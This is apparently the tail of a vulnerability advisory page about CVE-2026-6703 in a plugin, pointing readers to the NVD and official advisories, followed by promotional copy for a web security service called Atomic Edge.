Additional information about CVE-2026-6703 can be found on the National Vulnerability Database, security advisory pages, and the plugin’s official documentation. Keeping abreast of security updates and advisories is crucial for maintaining site security.

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations